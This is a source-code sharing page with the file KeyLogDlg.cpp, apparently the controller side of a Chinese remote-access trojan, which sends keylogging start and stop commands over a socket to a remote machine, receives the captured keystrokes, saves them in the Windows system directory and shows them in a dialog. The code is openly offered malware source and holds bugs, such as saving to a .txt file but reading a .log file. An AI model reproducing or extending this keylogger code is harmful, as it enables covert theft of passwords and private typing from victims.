KeyLogDlg.cpp
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:7k
源码类别:

网络截获/分析

开发平台:

Visual C++

  1. // KeyLogDlg.cpp : implementation file
  2. //
  3. #include "stdafx.h"
  4. #include "MyClient.h"
  5. #include "KeyLogDlg.h"
  6. #include "comm.h"
  7. #include "tcptran.h"
  8. #ifdef _DEBUG
  9. #define new DEBUG_NEW
  10. #undef THIS_FILE
  11. static char THIS_FILE[] = __FILE__;
  12. #endif
  13. /*
  14.  作者:海啸 lyyer English Name: Jack 
  15.   blog:http://lyyer.blog.sohu.com
  16.   website:http://www.cnGSG.com
  17.   海啸网络安全组织
  18. */
  19. /////////////////////////////////////////////////////////////////////////////
  20. // CKeyLogDlg dialog
  21. CKeyLogDlg *pDlg =NULL;
  22. CKeyLogDlg::CKeyLogDlg(CWnd* pParent /*=NULL*/)
  23. : CDialog(CKeyLogDlg::IDD, pParent)
  24. {
  25. //{{AFX_DATA_INIT(CKeyLogDlg)
  26. // NOTE: the ClassWizard will add member initialization here
  27. //}}AFX_DATA_INIT
  28. pDlg =this;
  29. }
  30. void CKeyLogDlg::DoDataExchange(CDataExchange* pDX)
  31. {
  32. CDialog::DoDataExchange(pDX);
  33. //{{AFX_DATA_MAP(CKeyLogDlg)
  34. DDX_Control(pDX, IDC_BUTTON_SHOWLOG, m_btn_show);
  35. DDX_Control(pDX, IDC_BUTTON_STOP, m_btn_stopkeylog);
  36. DDX_Control(pDX, IDC_BUTTON_START, m_btn_startkeylog);
  37. DDX_Control(pDX, IDC_EDIT_TEXT, m_logEdit);
  38. //}}AFX_DATA_MAP
  39. }
  40. BEGIN_MESSAGE_MAP(CKeyLogDlg, CDialog)
  41. //{{AFX_MSG_MAP(CKeyLogDlg)
  42. ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart)
  43. ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
  44. ON_BN_CLICKED(IDC_BUTTON_SHOWLOG, OnButtonShowlog)
  45. ON_WM_CTLCOLOR()
  46. //}}AFX_MSG_MAP
  47. END_MESSAGE_MAP()
  48. /////////////////////////////////////////////////////////////////////////////
  49. // CKeyLogDlg message handlers
  50. DWORD StartKeylog()
  51. {
  52. COMMAND m_command;
  53. DWORD dwSize =0;
  54. int PacketSize = 0;
  55. //char buffer[1024]={0};
  56. char *buffer = new char[1024+1];
  57. DWORD dwBytesRead=0;
  58. int  bRead= 0;
  59. DWORD write_size = 0;
  60. char savepath[MAX_PATH] = {0};
  61. CTcpTran m_tcptran;
  62.     memset(&m_command,0,sizeof(COMMAND));
  63.     m_command.wCmd = CMD_KEYLOG_MANAGE ;
  64. m_tcptran.mysend(pDlg->ClientSocket,(char *)&m_command,sizeof(m_command),0,60);
  65. SYSTEMTIME sysTm;
  66. ::GetLocalTime(&sysTm);
  67. int m_nYear = sysTm.wYear;
  68. int m_nMonth = sysTm.wMonth;
  69. int m_nDay = sysTm.wDay;
  70. char filename[100]={0};
  71. sprintf(filename,"Key_%d_%d_%d.txt",m_nYear,m_nMonth,m_nDay);
  72. char syspath[MAX_PATH] ={0};
  73. GetSystemDirectory(syspath,MAX_PATH);
  74. strcat(syspath,"\");
  75. strcat(syspath,filename);
  76. HANDLE hFile = CreateFile(syspath,
  77. GENERIC_WRITE,
  78. FILE_SHARE_READ|FILE_SHARE_WRITE,
  79. NULL,
  80. OPEN_ALWAYS,
  81. FILE_ATTRIBUTE_NORMAL,
  82. NULL);
  83. PacketSize =m_tcptran.myrecv(pDlg->ClientSocket,(char *)&dwSize,sizeof(DWORD),0,60,NULL,FALSE);
  84. DWORD dwGetSize=0;
  85. if (PacketSize)
  86. {
  87. while (dwGetSize<dwSize)
  88. {
  89. if (dwSize-dwGetSize<1024)
  90. {
  91.                 bRead = m_tcptran.myrecv(pDlg->ClientSocket,buffer,dwSize,0,60,0,false); //有问题 buffer没有接收到数据
  92. if (bRead>0)
  93. {
  94.                      WriteFile(hFile,buffer,dwSize,&write_size,NULL);
  95.                      //dwGetSize = dwGetSize + dwSize;
  96.  dwSize = dwSize - dwSize; //处理dwSize 同时dwSize为判断条件
  97.                      bRead =0;
  98. }
  99. }
  100. else
  101.             {
  102. bRead = m_tcptran.myrecv(pDlg->ClientSocket,buffer,1024,0,60,0,false);
  103. if (bRead>0)
  104. {
  105.                      WriteFile(hFile,buffer,1024,&write_size,NULL);
  106.                      //dwGetSize =dwGetSize +1024;
  107.                      dwSize = dwSize -1024;
  108.  bRead =0;
  109. }
  110.                 
  111.             }
  112. }
  113. CloseHandle(hFile);
  114. /*
  115. do 
  116. {
  117. bRead = m_tcptran.myrecv(dlg->ClientSocket,buffer,dwBytesRead,0,60,0,false);
  118. WriteFile(hFile,buffer,dwBytesRead,&write_size,NULL);
  119. //Sleep(1); //5 
  120. dwSize = dwSize - dwBytesRead;
  121. } while(dwSize);
  122. */
  123. }
  124. return 0;
  125. }
  126. void CKeyLogDlg::OnButtonStart() 
  127. {
  128. // TODO: Add your control notification handler code here
  129. HANDLE hThread;
  130. hThread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)StartKeylog,NULL,0,0);
  131.     m_btn_startkeylog.EnableWindow(FALSE);
  132. m_btn_stopkeylog.EnableWindow(TRUE);
  133. m_btn_show.EnableWindow(FALSE);
  134. }
  135. void CKeyLogDlg::OnButtonStop() 
  136. {
  137. // TODO: Add your control notification handler code here
  138. COMMAND m_command;
  139. m_command.wCmd = CMD_KEYLOG_STOP;
  140. CTcpTran m_tcptran;
  141. m_tcptran.mysend(pDlg->ClientSocket,(char *)&m_command,sizeof(m_command),0,60);
  142. m_btn_show.EnableWindow(true);
  143. }
  144. void CKeyLogDlg::OnButtonShowlog() 
  145. {
  146. // TODO: Add your control notification handler code here
  147. //表示接收到数据
  148. char ShowBuf[1025] ={0};
  149. SYSTEMTIME sysTm;
  150. ::GetLocalTime(&sysTm);
  151. int m_nYear = sysTm.wYear;
  152. int m_nMonth = sysTm.wMonth;
  153. int m_nDay = sysTm.wDay;
  154. char filename[100] ={0};//保存文件名
  155. sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);
  156. char syspath[MAX_PATH] ={0};
  157. GetSystemDirectory(syspath,MAX_PATH);
  158. strcat(syspath,"\");
  159. strcat(syspath,filename);
  160. HANDLE hFile = CreateFile(syspath,
  161.                       GENERIC_READ|GENERIC_WRITE,
  162.   FILE_SHARE_READ|FILE_SHARE_WRITE,
  163.   0,
  164.   OPEN_EXISTING,
  165.   FILE_ATTRIBUTE_NORMAL,
  166.   NULL);
  167. BOOL bRead = FALSE;
  168. DWORD ReadSize =0;
  169. CString current;
  170. //char Readbuf[1025]={0};
  171. DWORD read_size=0;
  172. DWORD dwGetSize=0;
  173.     DWORD dwSize=GetFileSize(hFile,NULL); 
  174. while (dwGetSize<dwSize)
  175. {
  176. if (dwSize-dwGetSize<1024)
  177. {
  178.                 bRead = ReadFile(hFile,ShowBuf,dwSize,&read_size,NULL);
  179. if (bRead)
  180. {
  181. pDlg->m_logEdit.GetWindowText(current);
  182. pDlg->m_logEdit.SetWindowText(current+ShowBuf);
  183. memset(ShowBuf,0,sizeof(ShowBuf));  //缓冲清零
  184. //pDlg->m_logEdit.LineScroll(pDlg->m_logEdit.GetLineCount());
  185. //dwGetSize = dwGetSize + dwSize;
  186. dwSize = dwSize - dwSize; //处理dwSize 同时dwSize为判断条件
  187.                     bRead = FALSE;
  188. }
  189. }
  190. else
  191.             {
  192. bRead = ReadFile(hFile,ShowBuf,1024,&read_size,NULL);
  193. if (bRead)
  194. {
  195. pDlg->m_logEdit.GetWindowText(current);
  196. pDlg->m_logEdit.SetWindowText(current+ShowBuf);
  197. memset(ShowBuf,0,sizeof(ShowBuf));  //缓冲清零
  198. //pDlg->m_logEdit.LineScroll(pDlg->m_logEdit.GetLineCount());
  199.                     //dwGetSize =dwGetSize +1024;
  200. dwSize = dwSize -1024;
  201. bRead = FALSE;
  202. }
  203.                 
  204.             }
  205. }
  206. pDlg->m_logEdit.LineScroll(pDlg->m_logEdit.GetLineCount());
  207.      CloseHandle(hFile);
  208. m_btn_stopkeylog.EnableWindow(FALSE);
  209. m_btn_show.EnableWindow(FALSE);
  210. m_btn_startkeylog.EnableWindow(TRUE);
  211. }
  212. BOOL CKeyLogDlg::OnInitDialog()
  213. {
  214. CDialog::OnInitDialog();
  215. m_btn_stopkeylog.EnableWindow(FALSE);
  216. m_btn_show.EnableWindow(FALSE);
  217. return true;
  218. }
  219. HBRUSH CKeyLogDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) 
  220. {
  221. HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
  222. // TODO: Change any attributes of the DC here
  223. if( nCtlColor == CTLCOLOR_EDIT)
  224. {
  225. pDC->SetBkMode(TRANSPARENT);
  226. COLORREF COLOR = RGB(0, 0, 0);
  227. HBRUSH brush = CreateSolidBrush(COLOR); //COLOR是你想设置的颜色 
  228. pDC->SetTextColor(RGB(255, 255, 255));
  229.   return (HBRUSH) brush;
  230. }
  231. // TODO: Return a different brush if the default is not desired
  232. return hbr;
  233. }